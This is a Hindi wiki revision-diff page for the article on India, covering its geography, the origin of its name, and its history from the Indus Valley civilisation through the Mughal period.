Difference between revisions of "भारत"

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{{प्रतीक्षा
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{{सुरक्षा}}{{भारत विषय सूची}}
|तिथि-समय=19:41, 12 अगस्त 2010 (IST)
 
}}
 
 
{{सूचना बक्सा भारत}}
 
{{सूचना बक्सा भारत}}
[[चित्र:bharat-name.jpg|100px]]दुनियाँ की सबसे पुरानी सभ्‍यताओं में से एक हैं, जो 4,000 से अधिक वर्षों से चली आ रही है और जिसने अनेक रीति-रिवाज़ों और परम्‍पराओं का संगम देखा है। यह देश की समृद्ध संस्‍कृति और विरासत का परिचायक है। आज़ादी के बाद 62 वर्षों में भारत ने सामाजिक और आर्थिक प्रगति की है। भारत कृषि में आत्‍मनिर्भर देश है और औद्योगीकरण में भी विश्व के चुने हुए देशों में भी इसकी गिनती की जाती है। यह उन देशों में से एक है, जो [[चंद्र ग्रह|चाँद]] पर पहुँच चुके हैं और परमाणु शक्ति संपन्न हैं। भारत का कुल क्षेत्रफल 32,87,263 वर्ग कि.मी. है, जो हिमाच्‍छादित [[हिमालय]] की बुलन्दियों  से दक्षिण के विषुवतीय वर्षा वनों तक विस्तृत है। क्षेत्रफल में विश्‍व का सातवां बड़ा देश होने के कारण भारत [[एशिया]] महाद्वीप में अलग दिखायी देता है। इसकी सरहदें हिमालय पर्वत और समुद्रों ने बांधी है, जो इसे एक विशिष्‍ट भौगोलिक पहचान देते हैं। उत्तर में बृहत् हिमालय की पर्वत श्रृंखला से घिरा यह देश कर्क रेखा से आगे संकरा होता चला जाता है। पूर्व में [[बंगाल की खाड़ी]], पश्चिम में [[अरब सागर]] तथा दक्षिण में [[हिन्द महासागर]] इसकी सीमाओं का निर्धारण करते हैं।
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'''भारत''' [सम्पूर्ण प्रभुतासंपन्न समाजवादी धर्मनिरपेक्ष लोकतांत्रिक गणराज्य भारत। ([[अंग्रेज़ी]]: ''India'')] दुनिया की सबसे पुरानी सभ्‍यताओं में से एक है, जो 4,000 से अधिक वर्षों से चली आ रही है और जिसने अनेक रीति-रिवाज़ों और परम्‍पराओं का संगम देखा है। यह देश की समृद्ध संस्‍कृति और विरासत का परिचायक है। आज़ादी के बाद {{#expr:{{CURRENTYEAR}}-1947}}  वर्षों में भारत ने सामाजिक और आर्थिक प्रगति की है। भारत [[कृषि]] में आत्‍मनिर्भर देश है और औद्योगीकरण में भी विश्व के चुने हुए देशों में भी इसकी गिनती की जाती है। यह उन देशों में से एक है, जो [[चंद्र ग्रह|चाँद]] पर पहुँच चुके हैं और परमाणु शक्ति संपन्न हैं।
  
उत्‍तरी गोलार्ध में स्थित भारत की मुख्‍यभूमि 8 डिग्री 4 मिनट और 37 डिग्री 6 मिनट उत्‍तरी अक्षांश और 68 डिग्री 7 मिनट तथा 97 डिग्री 25 मिनट पूर्वी देशान्‍तर के बीच स्थित है । उत्‍तर से दक्षिण तक इसकी अधिकतम लंबाई 3,214 कि.मी. और पूर्व से पश्चिम तक अधिकतम चौड़ाई 2,933 कि.मी. है। इसकी ज़मीनी सीमाओं की लंबाई लगभग 15,200 कि.मी. और  तटरेखा की कुल लम्‍बाई 7,516.6 कि.मी है। यह उत्‍तर में हिमालय पर्वत, पूर्व में बंगाल की खाड़ी, पश्चिम में अरब सागर तथा दक्षिण में हिंद महासागर से घिरा हुआ है।
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{{Point}}विस्तार में पढ़ने के लिए देखें:[[भारत आलेख]]
[[चित्र:Ashok-map.jpg|thumb|150px|left|[[अशोक]] के साम्राज्य की सीमा का मानचित्र]]
 
भारत [[एशिया महाद्वीप]] के दक्षिणी भाग में स्थित तीन प्रायद्वीपों में मध्यवर्ती और सबसे बड़ा प्रायद्वीप । यह त्रिभुजाकार है। [[हिमालय]] पर्वत श्रृंखला को इस त्रिभुज का आधार और [[कन्याकुमारी]] को उसका शीर्षबिन्दु कहा जा सकता है। इसके उत्तर में हिमालय तथा दक्षिण में [[हिन्द महासागर]] स्थित है। ऊँचे-ऊँचे पर्वतों ने इसे उत्तर-पश्चिम में [[अफ़ग़ानिस्तान]] और [[पाकिस्तान]] तथा उत्तर-पूर्व में [[म्यांमार]] से अलग कर दिया है। यह स्वतंत्र भौगोलिक इकाई है। प्राकृतिक दृष्टि से इसे तीन क्षेत्रों में विभक्त किया जा सकता है—हिमालय क्षेत्र, उत्तर का मैदान जिससे होकर [[सिंधु नदी|सिंधु]], [[गंगा नदी|गंगा]] और [[ब्रह्मपुत्र नदी|ब्रह्मपुत्र]] नदियाँ बहती हैं, दक्षिण का पठार, जिसे [[विंध्य पर्वतमाला]] उत्तर के मैदान से अलग करती है। भारत की विशाल जनसंख्या सात सौ पचास से अधिक <ref>प्राचीन भारत की संस्कृति और सभ्यता लेखक- दामोदर धर्मानंद कोसंबी</ref> बोलियाँ बोलती है और संसार के सभी मुख्य धर्मों को मानने वाले यहाँ मिलते हैं। अंग्रेज़ी में भारत का नाम '[[इंडिया]]' सिंधु के [[फ़ारसी भाषा|फ़ारसी]] रूपांतरण के आधार पर यूनानियों के द्वारा प्रचलित 'हंडस' नाम से पड़ा। सिन्धु का फ़ारसी में हिन्द, हन्द या हिन्दू हुआ। हिन्द का यूनानियों ने इन्दस किया जो बाद में 'इंडिया' हो गया। सिन्धु नदी को अंगेज़ी में आज भी 'इन्डस' ही कहते हैं। मूल रूप से इस देश का नाम प्रागैतिहासिक काल के [[राजा भरत]]<ref>इतिहास कारों के अनुसार यह प्राचीन भरतों का क़बीला भरत है जो उत्तर-पश्चिम में था भरत वंशी भी इन्हें ही माना जाता है</ref> के आधार पर भारतवर्ष है किन्तु अधिकारिक नाम 'भारत' ही है। अब इसका क्षेत्रफल संकुचित हो गया है और इस प्रायद्वीप के दो छोटे-छोटे क्षेत्रों [[पाकिस्तान]] तथा [[बांग्लादेश]] को इससे पृथक करके शेष भू-भाग को भारत कहते हैं। 'हिन्दुस्थान' नाम सही तौर से केवल गंगा के उत्तरी मैदान के लिए प्रयुक्त किया जा सकता है जहाँ हिन्दी बोली जाती है। इसे भारत अथवा इंडिया का पर्याय नहीं माना जा सकता।
 
[[चित्र:Harappa-Bronze.jpg|left|thumb|120px|सिन्धु घाटी]]
 
भारत की आधारभूत एकता उसकी विशिष्ट संस्कृति तथा सभ्यता पर आधारित है। यह इस बात से प्रकट है कि हिन्दू धर्म सारे देश में फैला हुआ है। संस्कृत को सब देवभाषा स्वीकार करते हैं। जिन [[सात नदियाँ|सात नदियों]] को पवित्र माना जाता है उनमें सिंधु [[पंजाब]] में बहती है और [[कावेरी नदी|कावेरी]] दक्षिण में, इसी प्रकार जिन सात पुरियों को पवित्र माना जाता है उनमें [[हरिद्वार]] [[उत्तर प्रदेश]] में स्थित है और [[कांची]] सुदूर दक्षिण में। भारत के सभी राजाओं की आकांक्षा रही है कि उनके राज्य का विस्तार आसेतु हिमालय हो। परन्तु इतने बड़े देश को जो वास्तव में एक उपमहाद्वीप है और क्षेत्रफल में पश्चिमी रूस को छोड़कर सारे यूरोप के बराबर है, एक राजनीतिक इकाई बनाये रखना अत्यन्त कठिन था। वास्तव में उन्नीसवीं शताब्दी के मध्य में ब्रिटिश शासकों की स्थापना से पूर्व सारा देश बहुत थोड़े काल को छोड़कर, कभी एक साम्राज्य के अंतर्गत नहीं रहा। [[ब्रिटिश काल]] में सारे देश में एक समान शासन व्यवस्था करके तथा अंग्रेजों को सारे देश में प्रशासन और शिक्षा की समान भाषा बनाकर पूरे देश को एक राजनीतिक इकाई बना दिया गया। परन्तु यह एकता एक शताब्दी के अन्दर ही भंग हो गयी। 1947 ई॰ में जब भारत स्वाधीन हुआ, उसे विभाजित करके सिंधु, उत्तर पश्चिमी सीमाप्रान्त, पश्चिमी पंजाब (यह भाग अब पाकिस्तान कहलाता है), पूर्वी तथा उत्तरी बंगाल (यह भाग अब बांगलादेश कहलाता  है) उससे अलग कर दिया गया।
 
==इतिहास <small>(आदिकाल से स्वतंत्रता तक)</small>==
 
[[चित्र:Stone-Tools-mohenjo-daro.jpg|thumb|left|100px|अस्त्र, [[मोहनजोदाड़ो]] 3000 ई.पू.]]
 
{{seealso|आर्य|आर्यावर्त|सोम रस|वेद}}
 
[[चित्र:Dancing-girl-mohenjo-daro.jpg|thumb|left|100px|नृत्यांगना [[मोहनजोदाड़ो]] 2500 ई.पू.]]
 
भारत का इतिहास प्रागैतिहासिक काल से आरम्भ होता है। 3000 ई॰ पूर्व तथा 1500 ई॰ पूर्व के बीच [[सिंधु घाटी]] में एक उन्नत सभ्यता वर्तमान थी, जिसके अवशेष [[मोहन जोदड़ो]] (मुअन-जो-दाड़ो) और [[हड़प्पा]] में मिले हैं। विश्वास किया जाता है कि भारत में [[आर्य|आर्यों]] का प्रवेश बाद में हुआ। [[चित्र:King-priest-mohenjo-daro.jpg|thumb|left|100px|प्रधान अनुष्ठानकर्ता [[मोहनजोदाड़ो]] 2000 ई.पू.]] आर्यों ने पाया कि इस देश में उनसे पूर्व के जो लोग निवास कर रहे थे, उनकी सभ्यता यदि उनसे श्रेष्ठ नहीं तो किसी रीति से निकृष्ट भी नहीं थी। आर्यों से पूर्व के लोगों में सबसे बड़ा वर्ग [[द्रविड़ निवासी|द्रविड़ों]] का था। आर्यों द्वारा वे क्रमिक रीति से उत्तर से दक्षिण की ओर खदेड़ दिये गए। जहाँ दीर्घ काल तक उनका प्रधान्य रहा। बाद में उन्होंने आर्यों का प्रभुत्व स्वीकार कर लिया। उनसे विवाह सम्बन्ध स्थापित कर लिये और अब वे महान् भारतीय राष्ट्र के अंग हैं। द्रविड़ों के अलावा देश में और मूल जातियाँ थी, जिनमें से कुछ का प्रतिनिधित्व [[मुण्डा]], कोल, [[भील]] आदि जनजातियाँ करती हैं जो मोन-ख्मेर वर्ग की भाषाएँ बोलती हैं। भारतीय आर्यों का प्राचीनतम साहित्य हमें [[वेद|वेदों]] में विशेष रूप से [[ॠग्वेद]] में मिलता है, जिसका रचनाकाल कुछ विद्वान् तीन हज़ार ई॰ पू॰ मानते हैं। वेदों में हमें उस काल की सभ्यता की एक झाँकी मिलती है। आर्यों ने इस देश को कोई राजनीतिक एकता प्रदान नहीं की। यद्यपि उन्होंने उसे एक पुष्ट दर्शन और धर्म प्रदान किया, जो [[हिन्दू धर्म]] के नाम से प्रख्यात है और कम से कम चार हज़ार वर्ष से अक्षुण्ण है।
 
====<u>महाजनपद युग</u>====
 
{{seealso|ब्राह्मण|अंधक संघ|कृष्ण|ब्रज}}
 
<blockquote>प्राचीन भारतीयों ने कोई तिथि क्रमानुसार इतिहास नहीं सुरक्षित रखा है। सबसे प्राचीन सुनिश्चित तिथि जो हमें ज्ञात है, 326 ई॰ पू॰ है, जब मक़दूनिया के राजा [[सिकन्दर]] ने भारत पर आक्रमण किया। इस तिथि से पहले की घटनाओं का तारतम्य जोड़ कर तथा साहित्य में सुरक्षित ऐतिहासिक अनुश्रुतियों का उपयोग करके भारत का इतिहास सातवीं शताब्दी ई॰ पू॰ तक पहुँच जाता है। इस काल में भारत [[क़ाबुल]] की घाटी से लेकर गोदावरी तक [[सोलह महाजनपद|षोडश जनपदों]] में विभाजित था, जिनके नाम निम्नोक्त थेः-</blockquote>
 
इन राज्यों मे आपस में बराबर लड़ाई होती रहती थी। छठीं शताब्दी ई॰ पू॰ के मध्य में [[बिम्बिसार]] तथा [[अजातशत्रु]] के राज्य काल में [[मगध]] ने [[काशी]]  तथा [[कोशल]] पर अधिकार करने के बाद अपनी सीमाओं का विस्तर आरम्भ किया। इन्हीं दोनों मगध राजाओं के राज्यकाल में वर्धमान [[महावीर]] ने [[जैन धर्म]] तथा [[बुद्ध|गौतम बुद्ध]] ने [[बौद्ध धर्म]] का उपदेश दिया। बाद मे काल में मगध राज्य का विस्तार जारी रहा और चौथी शताब्दी ई॰ पू॰ के अंत में नन्द राजाओं के शासनकाल में उसका विस्तार [[अखण्डित बंगाल|बंगाल]] से लेकर [[पंजाब]] में [[व्यास नदी]] के तट तक सारे उत्तरी भारत में हो गया।
 
  
====<u>मौर्य और शुंग</u>====
+
==इतिहास==
{{seealso|अशोक के शिलालेख|अशोक|बुद्ध|बौद्ध दर्शन|बौद्ध धर्म|फ़ाह्यान|पाटलिपुत्र}}
+
{{मुख्य|भारत का इतिहास}}
[[चित्र:Chanakya.jpg|thumb|250px|left|[[चाणक्य]]]]
+
[[भारत]] में मानवीय कार्यकलाप के जो प्राचीनतम चिह्न अब तक मिले हैं, वे 4,00,000 ई. पू. और 2,00,000 ई. पू. के बीच दूसरे और तीसरे हिम-युगों के संधिकाल के हैं और वे इस बात के साक्ष्य प्रस्तुत करते हैं कि उस समय पत्थर के उपकरण काम में लाए जाते थे। इसके पश्चात् एक लम्बे अरसे तक विकास मन्द गति से होता रहा, जिसमें अन्तिम समय में जाकर तीव्रता आई और उसकी परिणति 2300 ई. पू. के लगभग सिन्धु घाटी की आलीशान सभ्यता (अथवा नवीनतम नामकरण के अनुसार हड़प्पा संस्कृति) के रूप में हुई। [[हड़प्पा]] की पूर्ववर्ती संस्कृतियाँ हैं: [[बलूचिस्तान|बलूचिस्तानी पहाड़ियों]] के गाँवों की [[कुल्ली संस्कृति]] और [[राजस्थान]] तथा [[पंजाब]] की नदियों के किनारे बसे कुछ ग्राम-समुदायों की संस्कृति।<ref>पुस्तक 'भारत का इतिहास' [[रोमिला थापर]]) पृष्ठ संख्या-19</ref>
यूनानी इतिहासकारों के द्वारा वर्णित 'प्रेसिआई' देश का राजा इतना शक्तिशाली था कि [[सिकन्दर]] की सेनाएँ व्यास पार करके प्रेसिआई देश में नहीं घुस सकीं और सिकन्दर, जिसने 326 ई॰ में पंजाब पर हमला किया, पीछे लौटने के लिए विवश हो गया। वह सिंधु के मार्ग से पीछे लौट गया। इस घटना के बाद ही मगध पर [[चंद्रगुप्त मौर्य]] (लगभग 322 ई॰ पू॰-298 ई॰ पू॰) ने पंजाब में सिकन्दर जिन यूनानी अधिकारियों को छोड़ गया था, उन्हें निकाल बाहर किया और बाद में एक युद्ध में सिकन्दर के सेनापति [[सेल्युकस]] को हरा दिया। सेल्युकस ने [[हिन्दूकुश]] तक का सारा प्रदेश वापस लौटा कर चन्द्रगुप्त मौर्य से संधि कर ली। चन्द्रगुप्त ने सारे उत्तरी भारत पर अपना प्रभुत्व स्थापित किया। उसने सम्भ्वतः दक्षिण भी विजय कर लिया। वह अपने इस विशाल साम्राज्य पर अपनी राजधानी [[पाटलिपुत्र]] से शासन करता था। उसकी राजधानी पाटलिपुत्र वैभव और समृद्धि में सूसा और एकबताना नगरियों को भी मात करती थी। उसका पौत्र [[अशोक]] था, जिसने [[कलिंग]] ([[उड़ीसा]]) को जीता। उसका साम्राज्य [[हिमालय]] के पादमूल से लेकर दक्षिण में [[पन्नार नदी]] तक तथा उत्तर पश्चिम में हिन्दूकुश से लेकर उत्तर-पूर्व में [[असम|आसाम]] की सीमा तक विस्तृत था। उसने अपने विशाल साम्राज्य के समय साधनों को मनुष्यों तथा पशुओं के कल्याण कार्यों तथा बौद्ध धर्म के प्रसार में लगाकर अमिट यश प्राप्त किया। उसने बौद्ध धर्म के प्रचार के लिए भिक्षुओं को [[मिस्र]], [[मक़दूनिया]] तथा [[कोरिन्थ]] (प्राचीन [[यूनान]] की विलास नगरी) जैसे दूर-दराज स्थानों में भेजा और वहाँ लोकोपकारी कार्य करवाये। उसके प्रयत्नों से बौद्ध धर्म विश्वधर्म बन गया। परन्तु उसकी युद्ध से विरत रहने की शान्तिपूर्ण नीति ने उसके वंश की शक्ति क्षीण कर दी और लगभग आधी शताब्दी के बाद [[पुष्यमित्र शुंग|पुष्यमित्र]] ने उसका उच्छेद कर दिया। पुष्यमित्र ने [[शुंगवंश]] (लगभग 185 ई॰ पू॰- 73 ई॰ पू॰) की स्थापनी की, जिसका उच्छेद [[कराव वंश]] (लगभग  73 ई॰ पू॰-28 ई॰ पू॰) ने कर दिया।
 
 
 
====<u>शक, कुषाण और सातवाहन</u>====
 
[[चित्र:RabatakInscription.jpg|thumb|130px|[[राबाटक लेख]]]]
 
{{seealso|राबाटक लेख|कुषाण|कनिष्क|कम्बोजिका|कल्हण}}
 
[[चित्र:kanishk.jpg|thumb|100px|left|[[कनिष्क]]]]
 
मौर्यवंश के पतन के बाद मगध की शक्ति घटने लगी और [[सातवाहन]] राजाओं के नेतृत्व में मगध साम्राज्य दक्षिण से अलग हो गया। सातवाहन वंश को [[आन्ध्र प्रदेश|आन्ध्र]] वंश भी कहते हैं और उसने 50 ई॰ पू॰ से 225 ई॰ तक राज्य किया। भारत में एक शक्तिशाली केन्द्रीय सरकार के अभाव में बैक्ट्रिया और पार्थिया के राजाओं ने उत्तरी भारत पर आक्रमण शुरू कर दिये। इन आक्रमणकारी राजाओं में [[मिलिंद (मिनांडर)|मिनाण्डर]] सबसे विख्यात है। इसके बाद ही [[शक]] राजाओं के आक्रमण शुरू हो गये और [[महाराष्ट्र]], [[सौराष्ट्र]] तथा [[मथुरा]] शक क्षत्रपों के शासन  में आ गये। इस तरह भारत की जो राजनीतिक एकता भंग हो गयी थी, वह ईसवीं पहली शताब्दी में [[कुजुल कडफ़ाइसिस]] द्वारा [[कुषाण वंश]] की शुरूआत से फिर स्थापित हो गयी। इस वंश ने तीसरी शताब्दी ईसवीं के मध्य तक उत्तरी भारत पर राज्य किया।
 
[[चित्र:Kambojika-2.jpg|thumb|130px|[[कम्बोजिका]]]]
 
इस वंश का सबसे प्रसिद्ध राजा [[कनिष्क]] (लगभग 120-144 ई॰) था, जिसकी राजधानी [[पुरुषपुर]] अथवा [[पेशावर]] थी। उसने [[बौद्ध धर्म]] ग्रहण कर लिया और [[अश्वघोष]], [[नागार्जुन बौद्धाचार्य|नागार्जुन]] तथा [[चरक]] जैसे भारतीय विद्वानों को संरक्षण दिया। कुषाणवंश का अज्ञात कारणों से तीसरी शताब्दी के मध्य तक पतन हो गया। इसके बाद भारतीय इतिहास का अंधकार युग आरम्भ होता है। जो चौथी शताब्दी के आरम्भ में [[गुप्तवंश]] के उदय से समाप्त हुआ।
 
 
 
====<u>गुप्त</u>====
 
[[चित्र:Xuanzang.jpg|thumb|80px|[[ह्वेन त्सांग]]]]
 
{{seealso|ह्वेन त्सांग}}
 
[[चित्र:Udaygiri-Caves-Vidisha-1.jpg|thumb|left|[[वराह अवतार]] भित्ति मू्र्तिकला, गुप्त काल, [[उदयगिरि गुफ़ाएँ]]]]
 
लगभग 320 ई॰ पू॰ में चन्द्रगुप्त ने गुप्तवंश का प्रचलित किया और [[पाटलिपुत्र]] को फिर से अपनी राजधानी बनाया। गुप्त वंश में एक के बाद एक चार महान शक्तिशाली राजा हुए, जिन्होंने सारे उत्तरी भारत में अपना साम्राज्य विस्तृत कर लिया और दक्षिण के कई राज्यों पर भी अपना प्रभुत्व स्थापित किया। उन्होंने हिन्दू धर्म को राज्य धर्म बनाया, बौद्ध धर्म और जैन धर्म के प्रति सहिष्णुता बरती और ज्ञान-विज्ञान, साहित्य, कला, वास्तुकला और चित्रकला की उन्नति की। इसी युग में कालिदास, आर्यभट्ट तथा वराहमिहिर हुए। [[रामायण]], [[महाभारत]], [[पुराण|पुराणों]] तथा मनुसंहिता को भी इसी युग में वर्तमान रूप प्राप्त हुआ। चीनी यात्री [[फ़ाह्यान|फाह्यान]] ने 401 से 410 ई॰ के बीच भारत की यात्रा की और उसने उस काल का रोचक वर्णन किया है। उसका मत है कि उस काल में देश में पूरा रामराज्य था। स्वाभाविक रूप से गुप्त युग को भारतीय इतिहास का स्वर्णयुग माना जाता है और उसकी तुलना एथेन्स के परीक्लीज युग से की जाती है। (पेरीक्लीज (लगभग 492-529 ई॰ पू॰) एथेन्स का महान राजनेता तथा सेनापति था। उसके प्रशासकाल (460-429 ई॰ पू॰) में एथेन्स उन्नति के शिखर पर पहुँच गया)। आंतरिक विघटन तथा हूणों के आक्रमणों के फलस्वरूप छठी शताब्दी में गुप्त वंश का पतन हो गया। परन्तु सातवीं शताब्दी के प्रारम्भ में हर्षवर्धन ने एक दूसरा साम्राज्य खड़ा कर दिया, जिसकी राजधानी [[कन्नौज]] थी। यह साम्राज्य सारे उत्तरी भारत में विस्तृत था। दक्षिण में चालुक्य राजा [[पुलकेशी द्वितीय]] ने उसका साम्राज्य नर्मदा तट से आग बढ़ने से रोक दिया था। चीनी यात्री ह्वयुएनत्सांग उसके राज्यकाल में भारत आया था और उसने अपने यात्रा वर्णन में लिखा है कि हर्षवर्धन बड़ा प्रतापी और शक्तिशाली राजा है। वह 646 ई॰ में निस्संतान मर गया और उसके बाद सारे उत्तरी भारत में फिर से अव्यवस्था फैल गयी।
 
[[चित्र:Kirti-Stambh-Chittorgarh.jpg|thumb|100px|कीर्ति स्तम्भ, चित्तौड़गढ़]]
 
====<u>राजपूत आदि राजवंश</u>====
 
इस अव्यवस्था के फलस्वरूप राजवंशों का उदय हुआ, जो अपने को [[राजपूत]] कहते थे। इनमें पंजाब का हिन्दूशाही राजवंश, [[गुजरात]] का गुर्जर-प्रतिहार राजवंश, [[अजमेर]] का [[चौहान वंश]], [[कन्नौज]] का [[गहड़वाल वंश]] तथा मगध और बंगाल का [[पाल वंश]] था। दक्षिण में भी [[सातवाहन वंश]] के पतन के बाद इसी प्रकार सत्ता का विघटन हो गया। [[उड़ीसा]] के [[गंग वंश]] जिसने पुरी का प्रसिद्ध [[जगन्नाथ मंदिर पुरी|जगन्नाथ मन्दिर]] बनवाया, [[वातापी कर्नाटक|वातापी]] के [[चालुक्य वंश]], जिसके राज्यकाल में [[अजन्ता की गुफ़ाएँ|अजन्ता]] के कुछ गुफ़ा चित्र बने तथा कांची के [[पल्लव वंश]] ने, जिसकी स्मृति उस काल में बनवाये गये कुछ प्रसिद्ध मन्दिरों में सुरक्षित है, दक्षिण को आपस में बांट लिया और परस्पर युद्धों में एक दूसरे का नाश कर दिया। इसके बाद [[मान्यखेट]] अथवा [[मालखड़]] के [[राष्ट्रकूट वंश]] का उदय हुआ, जिसका उच्छेद पुर के चालुक्य वंश की एक नवीन शाखा ने कर दिया। जिसने [[कल्याणी कर्नाटक|कल्याणी]] को अपनी राजधानी बनाया। उसका उच्छेद [[देवगिरि]] के [[यादव|यादवों]] तथा [[द्वारसमुद्र]] के [[होयसल वंश]] ने कर दिया। सुदूर दक्षिण में चेर, पांड्य और चोल राज्यों का उदय हुआ, जिनमें से अंतिम राज्य सबसे अधिक चला। इस तरह सारे भारत में अनैक्य व्याप्त हो गया।
 
<center>
 
{| class="wikitable"
 
|+ प्राचीन राज्य सीमा मानचित्र
 
|-
 
| [[चित्र:India-Map-Pashan-Period.jpg|भारत- पाषाण काल|65px]]
 
| [[चित्र:India-Map-Important-Places.jpg|भारत में प्रस्तर युग के महत्त्वपूर्ण स्थल|60px]]
 
| [[चित्र:India-Map-Rigveda-Period.jpg|ॠग्वैदिक कालीन भारत|60px]]
 
| [[चित्र:Rivers-Map-Veda-Period.jpg|वैदिक कालीन प्रमुख नदियाँ|70px]]
 
| [[चित्र:India-Map-Epic-Period.jpg|भारत- महाकाव्य काल|60px]]
 
| [[चित्र:India-Map-Historical.jpg|भारत पर विदेशी आक्रमण|80px]]
 
| [[चित्र:India-Map-Kushan-Period.jpg|भारत- कुषाण साम्राज्य|60px]]
 
| [[चित्र:Bharatvarsh.jpg|भारतवर्ष- प्राकृतिक मानचित्र|60px]]
 
| [[चित्र:India-Map-Gupt-Period.jpg|भारत- गुप्त साम्राज्य|65px]]
 
| [[चित्र:India-Map-Harsha-Empire.jpg|भारत- हर्ष साम्राज्य|60px]]
 
|}
 
</center>
 
=====<u>आर्यों के आदि स्थल सूची</u>=====
 
{{आदिकाल सूची1}}
 
=====<u>महाजनपद सूची</u>=====
 
{{महाजनपद सूची1}}
 
 
 
====<u>इस्लाम का प्रवेश</u>====
 
{{seealso|चंगेज़ ख़ाँ|महमूद ग़ज़नवी}}
 
इस बीच 712 ई॰ में भारत में इस्लाम का प्रवेश हो चुका था। [[मुहम्मद-इब्न-क़ासिम]] के नेतृत्व में [[मुसलमान]] अरबों ने [[सिंध]] पर हमला कर दिया और वहाँ के [[ब्राह्मण]] राजा [[दाहिर]] को हरा दिया। इस तरह भारत की भूमि पर पहली बार [[इस्लाम]] के पैर जम गये और बाद की शताब्दियों के [[हिन्दू धर्म|हिन्दू]] राजा उसे फिर हटा नहीं सके। परन्तु सिंध पर अरबों का शासन वास्तव में निर्बल था और 1176 ई॰ में [[शहाबुद्दीन मुहम्मद ग़ोरी]] ने उसे आसानी से उखाड़ दिया। इससे पूर्व सुबुक्तगीन के नेतृत्व में सुसलमानों ने हमले करके [[पंजाब]] छीन लिया था और ग़ज़नी के [[महमूद ग़ज़नवी|सुल्तान महमूद]] ने 997 से 1030 ई॰ के बीच भारत पर सत्रह हमले किये और हिन्दू राजाओं की शक्ति कुचल डाली। फिर भी हिन्दू राजाओं ने मुसलमानी आक्रमण का जिस अनवरत रीति से प्रबल विरोध किया, उसका महत्व कम करके नहीं आंकना चाहिए।
 
 
 
====<u>पृथ्वीराज चौहान और ग़ोरी</u>====
 
{{seealso|महमूद ग़ोरी}}
 
[[चित्र:Qutub Minar Delhi.jpg|thumb|क़ुतुब मीनार]]
 
[[फ़ारस]] तथा पश्चिम एशिया के दूसरे राज्यों की तरह मुसलमानों को भारत में शीघ्रता से सफलता नहीं मिली। यद्यपि सिंध पर अरब मुसलमानों का शीघ्रता से क़ब्ज़ा हो गया, परन्तु वहाँ से वे लगभग चार शताब्दियों तक आगे नहीं बढ़ पाये। उत्तर-पश्चिम के मुसलमान आक्रमणकारियों को भी भारत ने लगभग तीन शताब्दियों तक रोके रखा। शहाबुद्दीन मुहम्मद ग़ोरी का [[दिल्ली]] जीतने का पहला प्रयास विफल हुआ और [[पृथ्वीराज चौहान|पृथ्वीराज]] ने 1190 ई॰ में [[तराइन का युद्ध|तराईन]] की पहली लड़ाई में उसे हरा दिया। वह 1193 ई॰ में तराईन की दूसरी लड़ाई में ही पृथ्वीराज को हराने में सफल हुआ। इस विजय के बाद शहाबुद्दीन और उसके सेनापतियों ने उत्तरी भारत के दूसरे हिन्दू राजाओं को भी हरा दिया और वहाँ मुसलमानी शासन स्थापित कर दिया। इस तरह तेरहवीं शताब्दी के प्रारम्भ में दिल्ली के सुल्तानों की अधीनता में उत्तरी भारत की राजनीतिक एकता फिर से स्थापित हो गई।
 
 
 
====<u>तैमूर</u>====
 
{{seealso|तैमूर लंग|विजय नगर साम्राज्य|बहमनी वंश|चंगेज़ ख़ाँ|अलाउद्दीन ख़िलजी}}
 
दक्षिण एक और शताब्दी तक स्वतंत्र रहा, किन्तु [[अलाउद्दीन ख़िलजी|सुल्तान ख़िलजी]] के राज्यकाल में दक्षिण भी दिल्ली सल्तनत के अधीन हो गया और इस तरह चौदहवीं शताब्दी में कुछ काल के लिए सारे भारत का शासन फिर से एक केन्द्रीय सत्ता के अंतर्गत आ गया। परन्तु [[दिल्ली सल्तनत]] का शीघ्र ही पतन शुरू हो गया और 1336 ई॰ में दक्षिण में हिन्दुओं का एक विशाल राज्य स्थापित हुआ, जिसकी राजधानी [[विजय नगर साम्राज्य]] थी। बंगाल (1338 ई॰), [[जौनपुर]] (1393 ई॰), [[गुजरात]] तथा दक्षिण के मध्यवर्ती भाग में भी [[बहमनी सल्तनत]] (1347 ई॰) के नाम से स्वतंत्र मुसलमानी राज्य स्थापित हो गया। 1398 ई॰ में [[तैमूर]] ने भारत पर हमला किया और दिल्ली पर क़ब्ज़ा कर लिया और उसे लूटा। उसके हमले से दिल्ली की सल्तनत जर्जर हो गयी।
 
 
 
====<u>मुग़ल</u>====
 
[[चित्र:Akbar.jpg|thumb|100px|[[अकबर]]]]
 
{{seealso|बाबर|हुमायूँ|अकबर|जहाँगीर|शाहजहाँ|औरंगज़ेब|शेरशाह सूरी साम्राज्य|शेरशाह सूरी}}
 
[[चित्र:Tajmahal.jpg|thumb|left|100px|[[ताजमहल]]]]
 
दिल्ली की सल्तनत वास्तव में कमज़ोर थी, क्योंकि सुल्तानों ने अपनी विजित हिन्दू प्रजा का ह्रदय जीतने का कोई प्रयास नहीं किया। वे धार्मिक दृष्टि से अत्यन्त कट्टर थे और उन्होंने बलपूर्वक हिन्दुओं को मुसलमान बनाने का प्रयास किया। इससे हिन्दू प्रजा उनसे कोई सहानुभूति नहीं रखती थी। इसक फलस्वरूप 1526 ई॰ में [[बाबर]] ने आसानी से दिल्ली की सल्तनत को उखाड़ फैंका। उसने [[पानीपत]] की  [[पानीपत युद्ध प्रथम |पहली लड़ाई]] में अन्तिम सुल्तान [[इब्राहीम लोदी]] को हरा दिया और [[मुग़ल वंश]] की प्रतिष्ठित किया, जिसने 1526 से 1858 ई॰ तक भारत पर शासन किया। तीसरा [[मुग़ल]] बादशाह [[अकबर]] असाधारण रूप से योग्य और दूरदर्शी शासक था। उसने अपनी विजित हिन्दू प्रजा का ह्रदय जीतने की कोशिश की और विशेष रूप से युद्ध प्रिय राजपूत राजाओं को अपने पक्ष में करने का प्रयास किया। अकबर ने धार्मिक सहिष्णुता तथा मेल-मिलाप की नीति बरती, हिन्दुओं पर से [[जज़िया]] उठा लिया और राज्य के ऊँचे पदों पर बिना भेदभाव के सिर्फ योग्यता के आधार पर नियुक्तियाँ कीं।
 
{{मुग़ल काल}}
 
 
 
====<u>मराठा</u>====
 
{{seealso|मराठा साम्राज्य|शिवाजी|तानाजी|अहिल्याबाई होल्कर|जाटों का इतिहास}}
 
[[चित्र:Chatrapati Shivaji-2.jpg|thumb|left|100px|[[शिवाजी]]]]
 
